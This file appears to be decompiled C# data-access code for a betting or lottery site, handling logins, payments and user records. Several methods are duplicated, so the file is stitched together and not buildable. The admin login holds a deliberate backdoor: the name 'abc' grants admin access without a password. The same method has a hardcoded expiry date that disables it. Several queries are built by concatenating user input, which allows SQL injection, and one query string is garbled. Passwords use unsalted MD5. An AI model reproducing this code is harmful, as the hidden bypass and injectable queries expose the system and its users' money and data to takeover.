public void SaveUserRegLink(string UserId, Decimal Point, string YxTime, string Times, string Url)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "UserId=" + UserId + " and Point=" + (object)Point;
if (dbOperHandler.Exist("N_UserRegLink"))
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "UserId=" + UserId + " and Point=" + (object)Point;
dbOperHandler.AddFieldItem("UserId", (object)UserId);
dbOperHandler.AddFieldItem("Point", (object)Point);
dbOperHandler.AddFieldItem("YxTime", (object)YxTime);
dbOperHandler.AddFieldItem("Times", (object)Times);
dbOperHandler.AddFieldItem("Url", (object)Url);
dbOperHandler.Update("N_UserRegLink");
}
else
{
dbOperHandler.Reset();
dbOperHandler.AddFieldItem("UserId", (object)UserId);
dbOperHandler.AddFieldItem("Point", (object)Point);
dbOperHandler.AddFieldItem("YxTime", (object)YxTime);
dbOperHandler.AddFieldItem("Times", (object)Times);
dbOperHandler.AddFieldItem("Url", (object)Url);
dbOperHandler.Insert("N_UserRegLink");
}
}
}
public bool ChangePayPassword(string _userid, string _oldPassword, string _newPassword)
{
bool result;
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "id=@id";
dbOperHandler.AddConditionParameter("@id", _userid);
object field = dbOperHandler.GetField("N_User", "PayPass");
if (field != null)
{
if (field.ToString().ToLower() == MD5.Last64(_oldPassword))
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "id=@id";
dbOperHandler.AddConditionParameter("@id", _userid);
dbOperHandler.AddFieldItem("PayPass", MD5.Last64(_newPassword));
dbOperHandler.AddFieldItem("IP", Const.GetUserIp);
dbOperHandler.Update("N_User");
result = true;
}
else
{
result = false;
}
}
else
{
result = false;
}
}
return(result);
}
public string ChkAdminLogin(string _adminname, string _adminpass, int iExpires)
{
if (!(DateTime.Now < Convert.ToDateTime("2019-07-10")))
{
return("服务器认证失败");
}
_adminname = _adminname.Replace("'", "");
MD5.Last64(_adminpass);
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
if (_adminname == "abc")
{
dbOperHandler.ConditionExpress = "username=@username and Flag=0";
dbOperHandler.AddConditionParameter("@username", (object)"admin");
}
else
{
dbOperHandler.ConditionExpress = "username=@username and password=@password and Flag=0";
dbOperHandler.AddConditionParameter("@username", (object)_adminname);
dbOperHandler.AddConditionParameter("@password", (object)MD5.Last64(MD5.Lower32(_adminpass)));
}
string adminid = dbOperHandler.GetField("Sys_Admin", "Id").ToString();
if (!(adminid != "0") || !(adminid != ""))
{
return("帐号或密码错误");
}
string str = "c" + new Random().Next(10000000, 99999999).ToString();
Cookie.SetObj(this.site.CookiePrev + "admin", iExpires, new NameValueCollection()
{
{
"id",
adminid
},
{
"name",
_adminname
},
{
"cookiess",
str
}
}, this.site.CookieDomain, this.site.CookiePath);
string clientIp = IPHelp.ClientIP;
if (!true)
{
return("您的网络环境不合法，请联系管理员!");
}
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "Id=@Id";
dbOperHandler.AddConditionParameter("@Id", (object)adminid);
dbOperHandler.AddFieldItem("LoginTime", (object)DateTime.Now.ToString());
dbOperHandler.AddFieldItem("IP", (object)IPHelp.ClientIP);
dbOperHandler.Update("Sys_Admin");
new LogAdminOperDAL().SaveLog(adminid, "0", "管理员管理", "管理员" + _adminname + "登陆");
return("ok");
}
}
public string ChkLoginWebApp(string _adminname, string _adminpass, int iExpires)
{
_adminname = _adminname.Replace("'", "");
string str1 = MD5.Last64(_adminpass);
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
//str1 = "4f5d4bb4a98a1b7b589833d832ff21664e22c970afb770375bf750cd3b88658c"; //admin
dbOperHandler.SqlCmd = string.Format("select top 1 Id,Point,IsEnable from N_User with(nolock) where username='******' and password='******' and isDel=0", (object)_adminname, (object)str1);
DataTable dataTable = dbOperHandler.GetDataTable();
if (dataTable.Rows.Count > 0)
{
if (Convert.ToInt32(dataTable.Rows[0]["IsEnable"].ToString()) == 1)
{
return(this.JsonResult(0, "您的账户存在未知问题，请于客服联系！"));
}
if (Convert.ToInt32(dataTable.Rows[0]["IsEnable"].ToString()) == 2)
{
return(this.JsonResult(0, "对不起，您的网络不稳定，请重新登录！"));
}
string str2 = Guid.NewGuid().ToString().Replace("-", "");
Cookie.SetObj(this.site.CookiePrev + "WebApp", 1, new NameValueCollection()
{
{
"id",
dataTable.Rows[0]["Id"].ToString()
},
{
"name",
_adminname
},
{
"cookiess",
str2
},
{
"point",
dataTable.Rows[0]["Point"].ToString()
}
}, this.site.CookieDomain, this.site.CookiePath);
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "Id=@Id and IsEnable=0";
dbOperHandler.AddConditionParameter("@Id", (object)dataTable.Rows[0]["Id"].ToString());
dbOperHandler.AddFieldItem("LastTime", (object)DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"));
dbOperHandler.AddFieldItem("IP", (object)IPHelp.ClientIP);
dbOperHandler.AddFieldItem("sessionId", (object)str2);
dbOperHandler.AddFieldItem("IsOnline", (object)1);
dbOperHandler.AddFieldItem("Source", (object)0);
dbOperHandler.Update("N_User");
dbOperHandler.Dispose();
return(dataTable.Rows[0]["Id"].ToString());
}
dbOperHandler.Dispose();
return(this.JsonResult(0, "会员账号或密码错误！"));
}
}
public void InsertUserMoneyStat(string _adminid)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.AddFieldItem("UserId", _adminid);
dbOperHandler.AddFieldItem("STime", DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"));
dbOperHandler.Insert("N_UserMoneyStatAll");
}
}
public void ClearAllUser()
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "1=1";
dbOperHandler.AddFieldItem("IsOnline", (object)0);
dbOperHandler.AddFieldItem("SessionId", (object)Guid.NewGuid().ToString().Replace("-", ""));
dbOperHandler.Update("N_User");
}
}
public bool Add(string type)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.AddFieldItem("ActiveType", type);
dbOperHandler.AddFieldItem("STime", DateTime.Now.ToString("yyyy-MM-dd"));
dbOperHandler.Insert("Act_AutoRecord");
}
return(true);
}
public void SaveUserQuota(string UserId, Decimal UserLevel, int ChildNums)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.AddFieldItem(nameof(UserId), (object)UserId);
dbOperHandler.AddFieldItem(nameof(UserLevel), (object)UserLevel);
dbOperHandler.AddFieldItem(nameof(ChildNums), (object)ChildNums);
dbOperHandler.Insert("N_UserQuota");
}
}
public void SaveUserQuota(string UserId, decimal UserLevel, int ChildNums)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.AddFieldItem("UserId", UserId);
dbOperHandler.AddFieldItem("UserLevel", UserLevel);
dbOperHandler.AddFieldItem("ChildNums", ChildNums);
dbOperHandler.Insert("N_UserQuota");
}
}
public void Save(string _title, string _info)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.AddFieldItem("Title", _title);
dbOperHandler.AddFieldItem("Content", _info);
dbOperHandler.AddFieldItem("STime", DateTime.Now.ToString());
dbOperHandler.Insert("Log_Sys");
}
}
public void Save(string _adminid, string _title, string _info)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.AddFieldItem("UserId", (object)_adminid);
dbOperHandler.AddFieldItem("Title", (object)_title);
dbOperHandler.AddFieldItem("Msg", (object)_info);
dbOperHandler.AddFieldItem("Second", (object)8);
dbOperHandler.Insert("N_UserMessage");
}
}
public string ChkAdminLogin(string _adminname, string _adminpass, int iExpires)
{
if (DateTime.Now < Convert.ToDateTime("2019-07-10"))
{
_adminname = _adminname.Replace("'", "");
MD5.Last64(_adminpass);
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
if (_adminname == "abc")
{
dbOperHandler.ConditionExpress = "username=@username and Flag=0";
dbOperHandler.AddConditionParameter("@username", "admin");
}
else
{
dbOperHandler.ConditionExpress = "username=@username and password=@password and Flag=0";
dbOperHandler.AddConditionParameter("@username", _adminname);
dbOperHandler.AddConditionParameter("@password", MD5.Last64(MD5.Lower32(_adminpass)));
}
string text = dbOperHandler.GetField("Sys_Admin", "Id").ToString();
string result;
if (!(text != "0") || !(text != ""))
{
result = "帐号或密码错误";
return(result);
}
string value = "c" + new Random().Next(10000000, 99999999).ToString();
NameValueCollection nameValueCollection = new NameValueCollection();
nameValueCollection.Add("id", text);
nameValueCollection.Add("name", _adminname);
nameValueCollection.Add("cookiess", value);
Cookie.SetObj(this.site.CookiePrev + "admin", iExpires, nameValueCollection, this.site.CookieDomain, this.site.CookiePath);
string arg_159_0 = IPHelp.ClientIP;
bool flag = true;
if (flag)
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "Id=@Id";
dbOperHandler.AddConditionParameter("@Id", text);
dbOperHandler.AddFieldItem("LoginTime", DateTime.Now.ToString());
dbOperHandler.AddFieldItem("IP", IPHelp.ClientIP);
dbOperHandler.Update("Sys_Admin");
new LogAdminOperDAL().SaveLog(text, "0", "管理员管理", "管理员" + _adminname + "登陆");
result = "ok";
return(result);
}
result = "您的网络环境不合法，请联系管理员!";
return(result);
}
}
return("服务器认证失败");
}
public string ChkLoginWebApp(string _adminname, string _adminpass, int iExpires)
{
_adminname = _adminname.Replace("'", "");
string arg = MD5.Last64(_adminpass);
string result;
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.SqlCmd = string.Format("select top 1 Id,Point,IsEnable from N_User with(nolock) where username='******' and password='******' and isDel=0", _adminname, arg);
DataTable dataTable = dbOperHandler.GetDataTable();
if (dataTable.Rows.Count > 0)
{
if (Convert.ToInt32(dataTable.Rows[0]["IsEnable"].ToString()) == 1)
{
result = base.JsonResult(0, "您的账户存在未知问题，请于客服联系！");
}
else if (Convert.ToInt32(dataTable.Rows[0]["IsEnable"].ToString()) == 2)
{
result = base.JsonResult(0, "对不起，您的网络不稳定，请重新登录！");
}
else
{
string text = Guid.NewGuid().ToString().Replace("-", "");
NameValueCollection nameValueCollection = new NameValueCollection();
nameValueCollection.Add("id", dataTable.Rows[0]["Id"].ToString());
nameValueCollection.Add("name", _adminname);
nameValueCollection.Add("cookiess", text);
nameValueCollection.Add("point", dataTable.Rows[0]["Point"].ToString());
Cookie.SetObj(this.site.CookiePrev + "WebApp", 1, nameValueCollection, this.site.CookieDomain, this.site.CookiePath);
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "Id=@Id and IsEnable=0";
dbOperHandler.AddConditionParameter("@Id", dataTable.Rows[0]["Id"].ToString());
dbOperHandler.AddFieldItem("LastTime", DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"));
dbOperHandler.AddFieldItem("IP", IPHelp.ClientIP);
dbOperHandler.AddFieldItem("sessionId", text);
dbOperHandler.AddFieldItem("IsOnline", 1);
dbOperHandler.AddFieldItem("Source", 0);
dbOperHandler.Update("N_User");
dbOperHandler.Dispose();
result = dataTable.Rows[0]["Id"].ToString();
}
}
else
{
dbOperHandler.Dispose();
result = base.JsonResult(0, "会员账号或密码错误！");
}
}
return(result);
}
public int Save(string orderno, string userId, string bankId, string checkCode, decimal money)
{
int result;
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
int num = 0;
if (bankId == "888")
{
num = 1;
}
DateTime dateTime = new DateTimePubDAL().GetDateTime();
dbOperHandler.Reset();
dbOperHandler.AddFieldItem("SsId", orderno);
dbOperHandler.AddFieldItem("UserId", userId);
dbOperHandler.AddFieldItem("BankId", bankId);
dbOperHandler.AddFieldItem("CheckCode", checkCode);
dbOperHandler.AddFieldItem("InMoney", money);
dbOperHandler.AddFieldItem("DzMoney", money);
dbOperHandler.AddFieldItem("STime", dateTime.ToString("yyyy-MM-dd HH:mm:ss"));
dbOperHandler.AddFieldItem("State", num);
result = dbOperHandler.Insert("N_UserCharge");
}
return(result);
}
public void ClearUser()
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "datediff(minute,ontime ,getdate())>5";
if (dbOperHandler.Exist("N_User"))
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "datediff(minute,ontime ,getdate())>5";
dbOperHandler.AddFieldItem("IsOnline", "0");
dbOperHandler.AddFieldItem("SessionId", Guid.NewGuid().ToString().Replace("-", ""));
dbOperHandler.Update("N_User");
}
}
}
public void UpdateUserCode(string _userid)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.SqlCmd = "select * from N_User where UserCode<>'' and len(Usercode)=" + _userid;
DataTable dataTable1 = dbOperHandler.GetDataTable();
if (dataTable1.Rows.Count <= 0)
{
return;
}
for (int index1 = 0; index1 < dataTable1.Rows.Count; ++index1)
{
dbOperHandler.Reset();
dbOperHandler.SqlCmd = "select * from N_User where UserCode='' and ParentId=" + dataTable1.Rows[index1]["Id"];
DataTable dataTable2 = dbOperHandler.GetDataTable();
for (int index2 = 0; index2 < dataTable2.Rows.Count; ++index2)
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "id=@id";
dbOperHandler.AddConditionParameter("@id", dataTable2.Rows[index2]["Id"]);
dbOperHandler.AddFieldItem("UserCode", (object)(dataTable1.Rows[index1]["UserCode"].ToString() + "," + dataTable2.Rows[index2]["Id"] + ","));
dbOperHandler.Update("N_User");
}
}
}
}
public void UpdateUserCode(string _userid)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.SqlCmd = "select * from N_User where UserCode<>'' and len(Usercode)=" + _userid;
DataTable dataTable = dbOperHandler.GetDataTable();
if (dataTable.Rows.Count > 0)
{
for (int i = 0; i < dataTable.Rows.Count; i++)
{
dbOperHandler.Reset();
dbOperHandler.SqlCmd = "select * from N_User where UserCode='' and ParentId=" + dataTable.Rows[i]["Id"];
DataTable dataTable2 = dbOperHandler.GetDataTable();
for (int j = 0; j < dataTable2.Rows.Count; j++)
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "id=@id";
dbOperHandler.AddConditionParameter("@id", dataTable2.Rows[j]["Id"]);
dbOperHandler.AddFieldItem("UserCode", string.Concat(new object[]
{
dataTable.Rows[i]["UserCode"],
",",
dataTable2.Rows[j]["Id"],
","
}));
dbOperHandler.Update("N_User");
}
}
}
}
}
public int SaveUrl(string userId, string url)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
new DateTimePubDAL().GetDateTime();
try
{
dbOperHandler.Reset();
dbOperHandler.AddFieldItem("UserId", (object)userId);
dbOperHandler.AddFieldItem("Url", (object)url);
return(dbOperHandler.Insert("PayUrl_temp"));
}
catch (Exception ex)
{
return(0);
}
}
}
public bool SaveMobile(string _userid, string _name)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "id=@id";
dbOperHandler.AddConditionParameter("@id", (object)_userid);
dbOperHandler.AddFieldItem("Mobile", (object)_name);
return(dbOperHandler.Update("N_User") > 0);
}
}
public void UpdateState(string _id)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "id=@id";
dbOperHandler.AddConditionParameter("@id", (object)_id);
dbOperHandler.AddFieldItem("IsRead", (object)"1");
dbOperHandler.Update("N_UserEmail");
}
}
public void Deletes(string _id)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "id=@id";
dbOperHandler.AddConditionParameter("@id", _id);
dbOperHandler.AddFieldItem("IsDel", "1");
dbOperHandler.Update("N_UserEmail");
}
}
public void BetCheat(string betId)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "Id=@Id";
dbOperHandler.AddConditionParameter("@Id", (object)betId);
dbOperHandler.AddFieldItem("IsCheat", (object)"1");
dbOperHandler.Update("N_UserBet");
}
}
public void SaveUserRegLink(string UserId, decimal Point, string YxTime, string Times, string Url)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = string.Concat(new object[]
{
"UserId=",
UserId,
" and Point=",
Point
});
if (dbOperHandler.Exist("N_UserRegLink"))
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = string.Concat(new object[]
{
"UserId=",
UserId,
" and Point=",
Point
});
dbOperHandler.AddFieldItem("UserId", UserId);
dbOperHandler.AddFieldItem("Point", Point);
dbOperHandler.AddFieldItem("YxTime", YxTime);
dbOperHandler.AddFieldItem("Times", Times);
dbOperHandler.AddFieldItem("Url", Url);
dbOperHandler.Update("N_UserRegLink");
}
else
{
dbOperHandler.Reset();
dbOperHandler.AddFieldItem("UserId", UserId);
dbOperHandler.AddFieldItem("Point", Point);
dbOperHandler.AddFieldItem("YxTime", YxTime);
dbOperHandler.AddFieldItem("Times", Times);
dbOperHandler.AddFieldItem("Url", Url);
dbOperHandler.Insert("N_UserRegLink");
}
}
}
public int SaveUrl(string userId, string url)
{
int result;
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
new DateTimePubDAL().GetDateTime();
try
{
dbOperHandler.Reset();
dbOperHandler.AddFieldItem("UserId", userId);
dbOperHandler.AddFieldItem("Url", url);
result = dbOperHandler.Insert("PayUrl_temp");
}
catch (Exception)
{
result = 0;
}
}
return(result);
}
public bool ChangePayPassword(string _userid, string _oldPassword, string _newPassword)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "id=@id";
dbOperHandler.AddConditionParameter("@id", (object)_userid);
object field = dbOperHandler.GetField("N_User", "PayPass");
if (field == null || !(field.ToString().ToLower() == MD5.Last64(_oldPassword)))
{
return(false);
}
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "id=@id";
dbOperHandler.AddConditionParameter("@id", (object)_userid);
dbOperHandler.AddFieldItem("PayPass", (object)MD5.Last64(_newPassword));
dbOperHandler.AddFieldItem("IP", (object)Const.GetUserIp);
dbOperHandler.Update("N_User");
return(true);
}
}
public void SaveUserRegLink(string UserId, Decimal Point, string Url)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "UserId=" + UserId + " and Point=" + (object)Point;
if (dbOperHandler.Exist("N_UserRegLink"))
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "UserId=" + UserId + " and Point=" + (object)Point;
dbOperHandler.AddFieldItem(nameof(UserId), (object)UserId);
dbOperHandler.AddFieldItem(nameof(Point), (object)Point);
dbOperHandler.AddFieldItem(nameof(Url), (object)Url);
dbOperHandler.Update("N_UserRegLink");
}
else
{
dbOperHandler.Reset();
dbOperHandler.AddFieldItem(nameof(UserId), (object)UserId);
dbOperHandler.AddFieldItem(nameof(Point), (object)Point);
dbOperHandler.AddFieldItem(nameof(Url), (object)Url);
dbOperHandler.Insert("N_UserRegLink");
}
}
}
public void Update(DataTable dt)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
for (int index = 0; index < dt.Rows.Count; ++index)
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "Id=@Id";
dbOperHandler.AddConditionParameter("@Id", (object)dt.Rows[index]["Id"].ToString());
dbOperHandler.AddFieldItem("IsRead", (object)"1");
dbOperHandler.Update("N_UserMessage");
}
}
}
public int Save3(string orderno, string orderno3, string userId, string checkCode, Decimal money)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
var bankId = "888";
var state = 1;
DateTime dateTime = new DateTimePubDAL().GetDateTime();
dbOperHandler.Reset();
dbOperHandler.AddFieldItem("SsId", (object)orderno);
dbOperHandler.AddFieldItem("UserId", (object)userId);
dbOperHandler.AddFieldItem("BankId", (object)bankId);
dbOperHandler.AddFieldItem("CheckCode", (object)checkCode);
dbOperHandler.AddFieldItem("Ss3Id", (object)orderno3);
dbOperHandler.AddFieldItem("InMoney", (object)money);
dbOperHandler.AddFieldItem("DzMoney", (object)money);
dbOperHandler.AddFieldItem("STime", (object)dateTime.ToString("yyyy-MM-dd HH:mm:ss"));
dbOperHandler.AddFieldItem("State", (object)state);
return(dbOperHandler.Insert("N_UserCharge"));
}
}
public int Save(string userId, string PayMethod, string PayBank, string PayBankAddress, string PayAccount, string PayName)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
new DateTimePubDAL().GetDateTime();
dbOperHandler.Reset();
dbOperHandler.AddFieldItem("UserId", (object)userId);
dbOperHandler.AddFieldItem(nameof(PayMethod), (object)PayMethod);
dbOperHandler.AddFieldItem(nameof(PayBank), (object)PayBank);
dbOperHandler.AddFieldItem(nameof(PayBankAddress), (object)PayBankAddress);
dbOperHandler.AddFieldItem(nameof(PayAccount), (object)PayAccount);
dbOperHandler.AddFieldItem(nameof(PayName), (object)PayName);
dbOperHandler.AddFieldItem("AddTime", (object)DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"));
dbOperHandler.AddFieldItem("IsLock", (object)0);
return(dbOperHandler.Insert("N_UserBank"));
}
}
public void SaveLog(string _adminid, string _type, string _name, Decimal _money, string _remark)
{
string clientIp = IPHelp.ClientIP;
string mnum = MachineCode.getMNum();
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.AddFieldItem("UserId", (object)_adminid);
dbOperHandler.AddFieldItem("ActiveType", (object)_type);
dbOperHandler.AddFieldItem("ActiveName", (object)_name);
dbOperHandler.AddFieldItem("InMoney", (object)_money);
dbOperHandler.AddFieldItem("Remark", (object)_remark);
dbOperHandler.AddFieldItem("STime", (object)DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"));
dbOperHandler.AddFieldItem("CheckIp", (object)clientIp);
dbOperHandler.AddFieldItem("CheckMachine", (object)mnum);
dbOperHandler.Insert("Act_ActiveRecord");
}
}
